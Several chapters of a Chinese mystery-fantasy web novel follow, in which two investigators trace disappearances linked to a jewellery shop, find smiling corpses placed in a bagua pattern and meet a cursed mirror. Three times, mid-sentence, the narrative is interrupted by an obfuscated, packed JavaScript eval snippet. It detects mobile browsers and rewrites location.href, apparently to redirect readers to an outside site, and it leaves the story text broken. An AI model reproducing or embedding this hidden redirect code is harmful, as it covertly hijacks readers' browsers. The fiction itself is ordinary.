“无妨。”陆轻苹拍拍衣袖,整理好仪态,才慢条斯理道,“唐老爷,可否带我们去看看唐小姐的闺房。” “当然!当然可以。” 唐稽扶着唐老爷在前面走,周昭看着二人背影,恍惚间想到自己的父皇和三个哥哥。 不知走了多远,眼前的人影渐渐模糊重叠,唐稽回过头,却露出一张跟她极为相似的脸,唇角露出温柔的微笑,启唇道:“小昭,快跟上。” “皇儿,来父皇这里.....” “澈哥哥......父皇......” “你怎么了?”陆轻苹的声音将周昭拉回现实,她眨眨眼睛,所有人都消失在艳阳天里,取而代之的是陆轻苹那张稍显疑惑的脸。 周昭深深地吐出一口气,摇头道:“没什么。” “我们到了。” 周昭环视一圈,据唐家人说,唐灵儿的卧室自从她失踪后就没有再动过,一切摆设布局照旧。 房间不算小,窗户是紧闭着的,没有被强行撬动的痕迹。 周昭走到梳妆台前,上面是些女儿家梳妆打扮常用之物,香粉青黛,口脂金钗,种类不可谓不齐全。 周昭问道:“令爱半月前在吴记宝斋买的那枚玉佩,可否拿来看看?” 唐稽疑惑道:“什么玉佩?” 一旁侍候的丫鬟走近,打开梳妆匣,熟门熟路地从中取出一块玉佩,问道:“大人,你说的是这块吗?” 她交给周昭,又道:“今日早些时候,有几位大人也说是来查案的,还叫我去问话了,也说要看看这块玉佩呢。” “我怎么不知道......”唐稽欲言又止,丫鬟小声道:“少爷那会子不在家,不是你说要出门找小姐嘛......” 周昭将玉佩举起细细观看,这是块质地极好的羊脂白玉,颜色干净没有一丝杂质,应当价值不菲。 但除此之外,这确实是个普普通通的玉佩,没有任何古怪,否则牵机营不会看过之后还留在唐家。 不,也不能说完全没有古怪—— 这是块男子佩戴的玉石。 陆轻苹问道:“你家小姐可有婚配?” 周昭自觉陆轻苹这个问题问得不算逾矩,但他甫一说出口,在场所有人的表情突然间变得十分古怪。特别是唐老爷,面色一阵青一阵红,十分精彩,支吾道:“啊这个......算是有。” 有就是有,没有就是没有。 算是有,是怎么回事儿? 55. 查案2 一问才知,唐老爷确实没说谎,唐灵儿的婚配确实.....算是有。 唐灵儿是唐老爷的亲生女儿不错,但唐稽却不是唐家正儿八经的少爷,而是唐老爷的养子。 唐夫人早年一直无所出,唐老爷爱妻如命,一直没有纳妾。但二人上了年纪,羡慕别人儿孙满堂,恰好听说九洲城寺庙里收养了许多孤儿,于是唐老爷便从山上抱下来一个婴儿,这便是唐稽了。 许是上苍感念唐老爷心善,又过了五年,唐夫人一直没有动静的肚子竟然显怀了。 唐老爷老来得女,宠爱之心可想而知。虽然一个是亲生的,一个是抱来的,但唐老爷却一视同仁,拿唐稽当亲儿子般养育长大。 但这其中不知出现了什么偏差,唐灵儿又如何得知唐稽不是自己的亲哥哥暂且不谈,反正出现了一件足以令唐老爷脸面丢到九霄云外的事情——唐灵儿喜欢上了自己的哥哥。 就算唐老爷再如何宠爱幼女,也不可能让这等□□之事发生,气得大病一场,之后为唐灵儿定下一门亲事。唐灵儿自然不愿,又哭又闹,以为一向在家中要风得风要雨得雨的自己,这一回肯定也能让父亲回心转意。 但唐灵儿没等来唐老爷改口,人却失踪了。 唐老爷后悔莫及,又派人退婚,所以“算是有”三个字不算是假。 亲女儿喜欢上养子,怪不得唐老爷脸色如此精彩。 周昭摩挲着手中玉佩,问道:“所以这块玉佩,是你家小姐买来,送给你家少爷的?” 这话怎么如此别扭...... 唐老爷脸色愈发难看,周昭假装看不见,那小婢女一五一十回答道:“我也不清楚,这块玉佩买回来就一直放在梳妆匣里。小姐每天晚上都会拿出来看好一会儿,看完再放回去,没说要送给别人呢。” 陆轻苹问道:“唐灵儿失踪前一天,也看这块玉佩了吗?” 小婢女像是努力回忆了一会儿,道:“好像看了。” 周昭道:“你不是说你家小姐每晚都会看吗?那一晚有什么不同吗?” 小婢女眼神躲闪,回答道:“......也没有什么不同。” 这回轮到唐稽着急了,言辞恳切,问道:“小桃,都这时候了,你还有什么事儿瞒着我们!灵儿那天晚上到底怎么了!” “我......我不知道......”对方被逼问得眼泛泪花,翻来覆去都是三个字——不知道。 “我知道,我来说。” 几只眼睛同时看过来,周昭不慌不忙走到窗前:“唐老爷,斗胆问一句,令爱跟您吵架时,您是否将她关在这间屋子里,还把门窗钉死,我猜还说了什么……想不清楚不会放你出来之类的狠话,是吗?” 唐老爷半是尴尬半是后悔,长长地叹了口气:“冤孽啊!” 周昭再问那婢女:“我猜,你家小姐天天以泪洗面,多半说了很多不想成婚、让你帮她逃出去云云,是吗?” 婢女低头不答,周昭继续道:“你们主仆情深,一拍即合,商量好了要逃婚。唐灵儿失踪前一晚不仅将那玉佩拿出来看了,而且看了很久,因为第二日就是你们约定唐灵儿偷偷逃出唐府的日子。” “到了第二日,最先发现唐灵儿失踪的人是你,你虽然心有疑惑,为何你家小姐出逃如此顺利,甚至你都还没来得及准备好,唐灵儿就不见了,但你却真心替唐灵儿高兴她终于得偿所愿,不用嫁给自己不喜欢的人。” 唐稽最先忍不住,抢道:“小桃!果真如此?” “我......”小桃慌乱之中扑通一声跪下,痛哭道,“少爷!老爷!你们就别再找小姐了!别再逼她了!” 事情到这里已经再明显不过,唐老爷指着小桃连连说道:“你、你!”半天却吐不出一个完整的字来,叹息道:“唉!小桃你糊涂啊!” “灵儿呢?小桃,告诉我!灵儿到底在哪儿?” 周昭道:“唐公子冷静,你问不出来的。” 唐稽转而看她,双目圆睁,模样竟透出几分可怜。周昭指了指钉死的窗户,蹙眉道:“还不明显吗?这窗户根本没有被打开过。小桃,你以为你家小姐逃出生天,因此这么多天闭口不谈。但你想过没有,有没有可能你家小姐根本没有出过这间屋子,而是跟城中其他人一样,悄无声息地失踪了。” 小桃终于不再哭了,却当场脸色煞白,喃喃道:“我以为……我......难道是我害了小姐?” 周昭弯下腰,轻轻拍了拍小桃的肩膀:“小桃,不是你害了她。但我需要你告诉我们,你跟你家小姐到底是怎么谋划的?” 小桃终于道:“......小姐失踪前一晚,我们说好等我偷来钥匙,会在晚饭时找机会交给小姐。” 陆轻苹问道:“你给她了吗?” 小桃哽咽道:“给了呀。晚饭时我偷偷把钥匙交给小姐,所以第二天我以为小姐已经、已经走了......” 唐稽打断道:“小桃啊小桃,平时怎么没见你这么蠢?!那锁是从里面开的,难道灵儿还能翻出窗户再锁上吗?” “唐公子别再吓她了,反正她说不说这件事影响也不大。”周昭继续问道,“小桃,你再好好想想,你把钥匙交给你家小姐时,她什么反应?” “......”小桃止住抽泣,回忆道:“小姐看上去,很高兴?好像也没有那么高兴......我的意思是,之前小姐很想出去的,但是那晚我将钥匙交给小姐,她却没有从前想出去时那么高兴了......” “好,我知道了。” 唐稽追问道:“大人,有决断了?” 周昭双手一摊:“暂时没有,不过......” 快了。 这两个字周昭没有说,因为上辈子她学会了一个道理:不要轻易许诺,特别是一个好的承诺。 周昭跟陆轻苹离开唐家后,陆轻苹看她的眼神似乎有所转变,周昭很是欣慰,问道:“陆大人有话要说?” “刚才我们一进唐家,所有人都面带愁容,只有一人从容不迫,那是因为她笃定,或者说自以为唐灵儿还活着,此为疑点一。小姐的卧房,却门窗紧闭甚至层层落锁。此为疑点二。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785235|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仅凭这两点微不足道的线索,就能套出这么多话来......”陆轻苹停顿片刻,驻足问道:“你到底是什么人?” 周昭微笑道:“这对陆大人来说,很重要吗?” “......”陆轻苹愣了片刻,才道,“不重要。” “刚才那些不过是唐家的家事,就算问出来也没多大用处,陆大人觉得呢?” 陆轻苹不置可否,想必也觉得周昭所言有道理。 本来唐灵儿一案衙门就是按失踪案来办理的,刚才不过坐实了唐灵儿确实是失踪,而不是逃跑,但也不能算没有收获。刚才没有跟唐稽许诺,是因为周昭还需要几个案子来验证自己的结论。 “下一步去哪儿?” 周昭道:“陆大人问我?” 陆轻苹:“乔家,乔聪。” 乔家是当地一家当铺,也是除开那三十多个直接从吴记宝斋买过物品的人中,唯一一个被动接了吴记宝斋东西的案子。 七日前,乔家当铺的老板乔聪无意间收到了一支堪称华丽的金步摇:形似鹿角上缀金叶,雍容华贵至极。据小二回忆,乔聪收到这支步摇时欣喜若狂,神态如痴如醉,几乎每天都要将这支步摇拿在手中把玩。 谁知过了短短三天,乔聪却突然失踪了。 跟唐灵儿一案不同,随着乔聪的失踪,那只金步摇也从此不见了。 到了乔家当铺,不知是不是乔聪失踪的缘故,那里门庭冷落,只有一个店小二两眼无神精神不济地在看店。 店面贴着张寻人告示,上面是乔聪的画像,显然已经贴了有几天了。 见到周昭二人,店小二略微抬了抬眼皮,手一伸,百无聊赖问道:“典当?东西拿来看看。” 陆轻苹道:“衙门查案。” 店小二先是一个激灵,再是将陆轻苹上下打量一番,见他衣着朴素想来不是什么官儿,语气不耐烦道:“上午不是刚来看过吗?真晦气。” 有意思,牵机营总是快一步。 “这回是要查什么?”店小二把店门口挂着的木牌翻面扣下,揉揉眼睛道,“进来吧。” “上午他们查什么,我们就查什么?” “哎我说你们这些当差的......”店小二终于正眼看向周昭,正要发难,陆轻苹掏出腰牌,对方定睛一看,立刻满面笑容:“哟!原来是县令大人,请进请进!” “县令大人,您大驾光临,是要查什么?小店地方不大,所有东西都在这儿了。至于我家老爷失踪那天的事儿,小人确实——” 陆轻苹打断道:“没听见他说的吗?上午查什么,现在就查什么。” 店小二应道:“明白,小人明白。” 他从怀里掏出一串钥匙,边掏边说道:“上午那些当差的老爷们可不像您二位这么面善呐,都带着刀呢!他们在外间看了一圈儿,又要看里面这间,钥匙是哪个来着......哎好,打开了,您二位大人请进。” 周昭本以为店小二领他们进来的这间屋子是当铺的库房,可进门一看,才发现好像并不是这么回事儿。 56. 推测 是库房不错。但更像一间......更衣室? 寻常当铺库房光线一般不大好,很多古物需要避光,点灯又怕引起火灾。但这间库房却十分明亮,亮光不来源于室外或者烛火,而是墙壁上镶嵌着很多夜明珠。 一颗夜明珠就是普通家庭负担不起的价钱,此间却用于照亮,看来乔聪不光有钱,而且非常之有钱。 而周昭之所以说这里像更衣室,是因为在靠近墙壁的地方放置着一个巨大的屏风。 屏风之后,挂满了花花绿绿五颜六色的衣裙。 周昭猜测,本来这扇屏风应该是刚好能把后面的东西遮住,应该是早上牵机营到过这里,伙计把屏风挪开还没来得及挪回去,所以他们一进门,首先映入眼帘的,就是那几乎满满一墙的衣服。 陆轻苹惊讶之余,忍不住道:“......这不都是女人的衣服吗?” 伙计老练道:“是女人的衣服,大人你也知道,当铺嘛,乱七八糟什么都有。” 周昭走到屏风后,将那些衣裙一件件翻看过,无不做工精巧华丽非常,她微笑道:“的确,当铺有衣服没什么奇怪的。” “看,这位大人说得在理。” 虽然收衣服的当铺少,但也不能说没有。周昭转了一圈儿,问道:“那支金步摇......” 伙计摆手道:“不见啦!” 周昭道:“我知道,我是想问你们店里,有没有类似的款式?” 伙计被问住片刻,纳闷地应道:“哦,有的有的,大人您随我来。” 到了柜面一看,确实有不少好东西。除了步摇,还有金钗银镯,珍珠璎珞等,无不色泽明艳,楚楚动人。 伙计挑来选去,拿出一支金步摇来,交给周昭:“大人您看,这支步摇也很贵重。” 主体是一根金簪,簪身刻着缠枝花纹,簪头镶嵌牡丹,花瓣层层叠叠,其下缀满玉石。周昭捏在手中欣赏片刻,还给伙计:“确实是好东西。” “当然好了,这可是我家老爷之前最喜欢的步摇了。”伙计收下步摇,又小心翼翼地放回原处,周昭漫不经心道:“哦?你家老爷最喜欢这支步摇?你不是说,乔老爷最喜欢那支从吴记收来的金步摇吗?” “嗐!在没有吴记那支步摇之前,老爷最喜欢的可是这支,经常拿帕子擦了又擦,可小心着呢!不过要我说,还是这支宝贵些,价钱也更好。” 周昭微笑道:“你家老爷除了步摇,还喜欢别的什么吗?” 伙计侃侃而谈:“我家老爷喜欢的东西多,而且跟别的当铺老板不一样,他喜欢的东西不看价格,看眼缘。比如这个镯子,还有这个耳坠,还有这个......” 伙计一口气指了七八样东西,周昭心中了然,又问道:“里面那间屋子,你家老爷平时常去吗?” 伙计不假思索道:“常去,库房里面好多值钱的宝贝,老爷每日都要进去一两回,生怕东西长腿跑了似的......” 伙计说完习惯性缩了缩脖子,想到乔聪不在,听不到他这句,才放心继续道:“就连这库房钥匙,也是老爷失踪后,老夫人才交给我的。” 陆轻苹问道:“库房钥匙为什么在老夫人手上?” 伙计答:“库房钥匙一共两把,一把老爷随身带着,另一把就在老夫人手里。但自从老爷失踪,老夫人伤心过度,不能料理店里的事情,于是把钥匙暂且交给我。” 周昭问道:“你家老爷没有娶亲?” “几年前娶过一房,后来不知怎的那女人跑啦,就没再娶。” “你家老夫人不催着再娶?” “从前也催,老爷应该是被伤透了心,反正没那个意思,老夫人就不催了。” 他们来乔家当铺时太阳已经快落山,此刻出来天已经完全黑了。乔家当铺地处城中心,此刻九洲城还是一如既往的热闹,万家灯火明明灭灭,竟比头顶星空还要夺目几分。 周昭缓步而行,陆轻苹亦放慢脚步,二人都没有再继续查下一家的意思。 沉默片刻,陆轻苹问道:“你怎么看?” 周昭沉吟道:“我在想,乔夫人为什么要跑?” 陆轻苹一反常态,语气刻薄道:“虽然乔聪有钱,也不见得能留住人心吧。” 周昭摇摇头:“不,跟有没有钱无关。世人以女子名节为重,哪怕嫁做人妇,这一点也不会变。虽然这么说很残忍,但现实就是这样。然而乔夫人宁愿背负逃婚这样的骂名,也要从乔聪身边离开,你不觉得很奇怪吗?正常来说,就算过不下去了,也应该先拿到和离书才对。否则按大宣朝律法,她永远都是乔聪的妻子。” 陆轻苹道:“......也许乔聪不愿意跟她和离。” “与其说乔聪不愿意,不如说是乔老夫人不愿意。因为如果这一个走了,乔聪很难再找到下一个愿意跟他成婚的人。” 陆轻苹接着说道:“因为乔聪,有一个不可告人的秘密。” 周昭只微笑道:“陆大人很聪明。” 陆轻苹直言道:“你不必一步步引导我,有什么结论可以直接说,我不会觉得没面子。” 陆轻苹这个人,真没劲。 周昭偏不如他心意,装傻道:“陆大人有结论了?说说看。” 陆轻苹斜看她一眼,淡淡道:“方才在乔家库房,你将每件衣服都细细看过一遍。我本来不懂女子服饰,但等我凑近看时,就算再蠢笨,也明白了有哪里不对。乔家开的是当铺,挂这么多女子穿的衣服也能说得过去,但这些衣服有个特点,都太新了。不仅新,而且上面一点儿多余的味道都没有。换句话说,这些本该由女子送来当铺的衣服,都是没有被穿过的。” “九洲城的女子皆爱打扮,香粉香膏甚为流行,如果是穿过的衣服难免沾染香味。一件没有,两件没有都情有可原,但绝对不可能所有衣服都没有香粉味。此为疑点一。” 观察细致入微,可圈可点。 周昭点头道:“不愧是陆大人。” 陆轻苹皱眉,似乎想说什么又极力克制,半晌才吐出一句话:“该你说了。” 周昭道:“乔家当铺不算小,库房两把钥匙,伙计却在这之前从来没碰过,说明乔聪每日都是独自进入库房。一种可能是乔聪并不信任店里的伙计,另一种可能,库房里存在一个乔聪不愿让别人发现的秘密。但你我刚才进去看过,伙计也进去看过,所以这个秘密只能在乔聪身上。此为疑点二。” 陆轻苹接着道:“库房内墙壁上镶着许多夜明珠,但靠近最里面墙壁的夜明珠最多,也是最先镶嵌上去的,反而到了库房正中央却没有几个,如果说为了照明观宝,显然位置不对。” 陆轻苹本是双手抱胸,此刻眉头紧锁,右手食指和中指在左臂轻轻敲了两下,凝眉道:“我看出来的就这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16801719|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些,那面墙上挂着的衣服就是乔聪的秘密,也是乔聪经常进出库房的原因,至于为什么,我想不出。” 陆轻苹真乃君子。周昭也不藏着掖着,直言道:“因为乔聪喜欢扮作女人。” “什、什么?!” 陆大人,看不出确实不能怪你,谁叫你是个男人呢? 周昭从发冠上拔了根玉簪下来,问道:“陆大人,你看我这根簪子,如何?” 陆轻苹道:“很常见。” “没错,这种簪子很常见,九洲城十个男人有七八个都用这种玉簪束发。假设你现在是个当铺老板,再看这根簪子,如何?” “......”陆轻苹想了想,“很普通,应该......不值钱?” “对,就是不值钱。”周昭重新将簪子插回头上,“同样一根簪子,看的角度不同,结论也不同。当铺老板看价值,眼光毒辣的一眼就能定价,无非是好货抵押钱多,劣等货抵押钱少。” “就拿刚才店里伙计来说,他喜欢的饰品都是能卖出好价钱的货物。普通人则看样式喜不喜欢,是玉的好还是金的好,是挂红珠还是串玛瑙。总之,饰品之类,尤以女子饰品最多,个人喜好决定了这样东西的价值。” “而刚才伙计说乔聪对这些却不看价格,只看眼缘。所谓眼缘,通俗来说就是一个人的喜好和偏爱。虽然那支金步摇丢了,伙计在柜面指出乔聪中意的那七八件儿,都带有强烈而鲜明的个人特色。” 周昭一口气说完,又道:“其实,光看那些饰品,并不能断言乔聪是喜欢用这些东西打扮自己。” “还有库房里那些衣服。”陆轻苹道。 周昭点点头,继续道:“不错,还有那些衣服。数十套女子衣裙,无论是身量尺寸,还是颜色款式,显然,都来自同一个人。我们刚进门时,铺子外面贴着一张告示,不知陆大人注意到没有?” “身高六尺半,不胖不瘦。”陆轻苹沉吟道:“……尺码刚好。” “没错,刚刚好。敢问世间有这么巧的事情吗?” 陆轻苹道:“所以乔聪每日进出库房,就是想扮作女人。乔夫人发现后,不能接受自己的丈夫有如此癖好,所以宁愿不要和离书也要离开乔家。而乔母知道不能改变儿子,渐渐接受现实,放弃了让其娶妻的想法。” 陆轻苹面容难得有几分抽搐,一字一顿道:“果真是……难以评价。” 周昭却见怪不怪,边走边说道:“乔聪生来是男儿身,但内心却向往成为女子。世人不接受他,于是,他只有在那间小小的库房才能短暂地做回自己,这并非他的过错,是世人的过错。” 陆轻苹露出一丝惊讶,半晌才道:“……你的想法很特别,也很……” “离经叛道,世俗难容?”周昭满不在意。 老实说,上辈子的周昭就算这么想也不会这么说,因为她生下来就是殿下,长大后是陛下。毫不夸张的说,一言一行举国瞩目,周昭没有随心所欲的权力,而如今她有种前所未有的轻松自在。 另一个朝代,另一种身份,甚至......另一张脸。 陆轻苹似乎在想该怎么点评周昭这八个字,周昭微笑道:“我胡说八道,你别在意。当务之急,找到乔聪再说。陆大人,你有没觉得那间库房少了样东西?” “什么东西?” “镜子,一面可以穿衣打扮的镜子。” 57. 八卦阵 陆轻苹恍然大悟:“对!就是镜子!” “我那时问过小桃了,唐灵儿的梳妆台上本该也有一面镜子。” 没错,周昭早在唐家就发现了。 唐灵儿作为唐家千金,梳妆台上什么都有,却单单少了一面镜子。乔聪的库房,或者说更衣室挂满了一面墙的衣裙,唯独也少了一面镜子。 这确实不能怪陆轻苹没想到,只因周昭这张皮下是个实打实的女子,这方便自然比陆轻苹观察细致。 陆轻苹忍不住道:“你怀疑跟镜子有关?” “太巧了,我不相信巧合。” 陆轻苹道:“这就简单了,我们只需要排查其余失踪的人是不是也丢了镜子,就能验证答案。” 周昭没说好,也没说不好。 因为在周昭看来,十有八九就是跟镜子有关。唐家是怀疑,乔家当铺是验证她的怀疑。以周昭的性格,这两起案子已经足够她下结论。 九洲城有一条护城河,每到夜晚两岸点起灯火,河水波光粼粼,宛如流淌的火焰。 周昭二人正沿河道行走,见前方围得水泄不通,以为是杂耍卖艺的,走近却听见几声议论: “这人是活的还是死了?” “……我看不像活人,但好像也不像死人……” “你们谁胆大,翻过来看看……” 这几句刚落入周昭耳中,陆轻苹便长腿一迈跨进人群里,周昭跟过去,河岸边赫然躺着一个人。 那人面朝护城河,一动不动。众目睽睽之下,陆轻苹撩了撩衣摆,蹲下拍了拍那人后背。 “……没反应,真死啦!” 陆轻苹小心将身体翻过来,是个三十多岁的男人,面容平和,嘴角挂着丝若有若无的微笑。 他再探鼻息,手指良久不动,有人大着胆子伸出手,在那人露出的手臂上摸了摸,像被惊雷劈中似的收回手,叫道:“死、死人啦!有死人!” 尖叫声连连,人群如鸟兽四散,仅剩下几个酒喝多了的,口齿不清问道:“公子,你们是衙门里的?” 陆轻苹没答话,神情凝重地收回手。 周昭转身将那些个酒腻子打发走,陆轻苹说道:“刚死不久,没有外伤,没有中毒痕迹。” 周昭心中隐隐有个答案,忽然一个人影风风火火地冲到他们面前,抓住陆轻苹便扯开嗓子喊:“陆、陆大人!我终于找到你了!” 萤木压根没看到身边还有个周昭,继续喊道:“陆大人快跟我回衙门吧,出大事了!衙门死人了!” 周昭眼皮猛地一跳,陆轻苹眉头微蹙,问道:“话说清楚,不要着急。” 萤木叉着腰,狠狠喘了几口气,呼吸急促狂乱,继续道:“不是不是!不是衙门死人,哎哟瞧我这张嘴!是有人死了放在衙门口呢!吓死我了!县丞大人到处找您,反正就是死人了!哎哟先不说了,您快跟我回去看看吧!我......” 萤木目光下移,终于后知后觉看到脚边的尸体,叫了声妈呀跳到陆轻苹身后,指着尸体道:“这、这这——” “萤木,你在这守着。”陆轻苹挪开两步,又语重心长道,“你是衙门的人,胆子要练。” 萤木不情不愿点头,陆轻苹跟周昭对视一眼,即刻马不停蹄往衙门赶。到了衙门口,一路穿过聚集的人群,看到原本停尸的地方已经被围起来,仵作正指挥着要把尸体往衙门里搬。 进了衙门,三具尸体一字排开,停放整齐。一眼看去,每具尸体都穿戴齐整,没有可见外伤,跟护城河那具死状相同。 更为诡异的是,这些死人双目紧闭,嘴角无一例外都挂着平和而满足的微笑。 陆轻苹朝仵作点头,示意他继续,转而对周昭压低声音道:“看见了吗?” 周昭轻轻点头,眉心微蹙:“看见了。” 靠左这具尸体不胖不瘦,不高不矮。因为画着妆,涂了口脂,再加上嘴角那抹浅浅的微笑,让那张脸看起来愈发生动诡异,好像下一刻就要从木板上跳起来似的。 尸体发间簪着的金步摇随风而动,金叶碰撞,发出叮叮当当的清脆悦耳之声。 这具浓妆艳抹,身穿大红襦裙的“女尸”,正是乔家当铺的老板——乔聪。 仵作几乎没怎么费劲验尸便给出结论:没伤口,没中毒,没腐烂。死态安详,死亡时间不超过半日,不像自杀,也不像他杀。 衙门里所有人面面相觑,有人道:“得!八成又是什么妖啊鬼啊干的。” “咱们办不了,移交刑部吧。” “刑部也不见得会抓妖啊......” 你一言我一语,一看凶手不是人都不乐意办。原因很简单,抓妖抓鬼确实不是衙门干的活儿。正所谓术业有专攻,人之常情。 陆轻苹随意指了几个人出去探探线索,又留下两人去接萤木,其中一人边走边对同伴抱怨道:“兄弟,咱哥俩儿今儿光搬尸体了,这儿冒一具那儿冒一具,没完没了了。” 陆轻苹像是有话要问,却一阵闷咳,周昭拦住二人:“等等,是说衙门里这三具尸体不是同时发现的?” 周昭易容的少年平平无奇,傍晚天色模糊不清,因此跟着陆轻苹一同进来也没人注意到,这时突然开口说话,还是询问案子,不免引来注意。 陆轻苹终于咳完,声音低哑:“回答他的话。” “哦哦,好。”衙役反应过来,答道,“大人,门口发现的只有那具女尸,剩下都是有人来报官,咱们的人去给抬回来的。” 陆轻苹问道:“什么时候?” “今儿下午,所以才让萤木去寻您。” 周昭又问:“在哪儿发现的?” “那具女尸是在城南老王家铁匠铺子那条巷子里,还有一具是离那儿再往北三条街,另一具……” “另一具不就是在大人让咱俩去接萤木那儿,再往南边儿不远吗?香橼酒楼那附近。” “对,是那儿。”衙役打了个呵欠,又躬身问道,“大人,没别的事儿,我俩先去接萤木了。” “去吧。”陆轻苹摆手示意,周昭自言自语道:“铁匠铺子,香橼酒楼,护城河……” 陆轻苹咳嗽得厉害,周昭不动声色地站在他面前挡住风,说道:“大人,外头冷,咱们进屋说话。” 衙役们都撒出去了,仵作一筹莫展没什么好查的,这偌大的衙门只有他们跟几具嘴角带笑的尸体。 陆轻苹应了声好,拢了拢略显单薄的外衣,抬脚往屋里走,坐定喝了口热茶润嗓子,再开口果然好些,问道:“你刚才念叨那几个抛尸点,可有什么发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16801720|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现?” “暂时没有,只是觉得奇怪。” 陆轻苹沉默不语,从桌案上拿出一份地图来,在那几个地方做了标记,周昭凑近一看,指着地图道:“就是这样,从南到北。第一具女尸是南边,一直到护城河那具是最北边,就像抛尸的人刻意为之......” 陆轻苹叹息道:“但愿不要再有新的。” 但事与愿违,很快又报上来一具新的尸体,这次是在护城河以西的迎春阁。 陆轻苹再做一标记,连接上前四个点,抬头看了眼周昭,笔锋却没停,继续在地图由西向东延伸。 周昭喃喃道:“乾坤定南北……” 二人异口同声道:“八卦阵!” 由东南至西北,五个地点都有尸体出现,陆轻苹霍然站起,指尖在地图正西方位点了点,道:“如果真是八卦阵,下一具应该在这儿,坎位,我们现在就去。” “不,”周昭冷静道,“衙门在正东离位,坎位太远,等我们赶到怕是来不及,不如……”她抬手一指,“往南走。” “乾位?”陆轻苹拿起地图细细观看,赞同道:“确实应该去乾位……你看这儿有什么?” 九洲城的地形周昭并不算太熟悉,一时想不起来那里该有什么,陆轻苹执笔圈出一点,道:“吴记宝斋。” 尽管已是傍晚时分,吴记宝斋门前却有不少人。 周昭本以为是渡舟将这里围得水泄不通,跟陆轻苹赶到时,却发现看守此处的另有其人。沈云起一身暗红锦袍官服,身边跟着几名带刀侍卫,看样子也是匆匆赶来。 如果是沈云起,那便不是渡舟派来的。 周昭心道:“看来渡舟进宫是面圣去了,小皇帝为了找贵妃,急不可耐啊,连国师都派过来了。乾位一定是这儿没错,但这尸体在哪儿呢……” 沈云起跟陆轻苹虽然都在朝为官,但陆轻苹上任不久,沈云起又是刚回皇城,二人对视间有几分不约而同的尴尬。 身后侍卫悄声在沈云起耳边说了句话,她方莞尔一笑,说道:“陆大人近来可好?听说陆大人病着,来这里是……” 陆轻苹不卑不亢道:“见过国师大人,一切都好。下官身为县令,有案子自然要查。” “陆大人请便。” 二人本就不熟,话到此处亦没有再说的必要。沈云起微微点头,目光在周昭脸上一晃而过,也不避讳他二人,转身对方才说话的侍卫道:“朝安,今日此处可有什么异常?” 朝安躬身答道:“并未见什么异常,吴记老板杜云戚白日正常开门做生意,到了晚上便说自己困了,回屋睡觉去了。” “什么时辰?” 沈云起回头,见说话的是陆轻苹身边那个随从,正纳闷,周昭又追问道:“杜云戚什么时候进去的?进去多久了?” 周昭言语急促气势迫人,被这么一问,朝安稀里糊涂松了口,回答道:“有……小半个时辰了吧……” 周昭推开人群就要往里走,陆轻苹抬脚跟上,侍卫即刻亮刀拦下。陆轻苹冲沈云起欠身拜道:“国师大人,容下官稍后解释,还望你的人让开一条道,此刻杜云戚怕是......” 砰! 众人寻声望去,杜云戚头朝下脚朝上,众目睽睽之下自二楼一跃而下。 58. 幻境 周昭最先冲上楼,环顾一圈,除了他们进来的这扇门,以及杜云戚跳下去的那扇窗户大开着,这间阁楼再也没有其他门窗。 阁楼静悄悄的,没有一丝人声。 此刻秋风又起,老旧的窗户发出吱吱呀呀的铁锈声,朝安推门进来,回禀沈云起那杜云戚的确是自杀,又自言自语道:“......奇怪,这儿怎么多了面镜子......” 镜子? 周昭转身看去,塌边赫然放着张一人高的镜子。那面镜子光洁如新,周昭却总觉得哪里透着古怪。沈云起凑近看看,问道:“多了面镜子?之前没有吗?这镜子怎么......” 沈云起朝身后望望,又转向镜子,周昭终于知道哪里古怪了。 这面镜子能照物,意思是只能照物,镜中空空荡荡仅有一面光秃秃的墙壁,压根没有他们四个的人影! “小心!” “别碰!” 陆轻苹跟周昭同时伸出手,但已经迟了。 一阵狂风卷入,窗户咔咔作响,烛火顿时熄灭。 还好,不算迟,我抓住沈云起了。 周昭呼出一口气,又将掌心那只手握得更紧些,压低声音道:“国师大人,你没事儿吧?” 沈云起却不说话。 难道是被吓到了? 四下漆黑一片,不能视物。周昭又朝沈云起靠近两步,呼吸声近在耳边,周昭又问:“......国师大人?” 沈云起仍然不说话,仔细听,呼吸却莫名急了些,乱了些。 周昭握着沈云起的手,静默片刻,微笑道:“国师大人,再不说话我可要松开你了。” 她默默松开手,瞬息间身形一转绕至沈云起面前,匕首寒光乍现,抓住沈云起逼问道:“说,你到底是谁!” 少顷,黑暗中传来一声低低的笑,天光骤然大亮,那人苍白的脖颈离匕首的锋芒不足一寸。 怎么会是渡舟?! 那面镜子呢? 沈云起呢? 其他人呢? 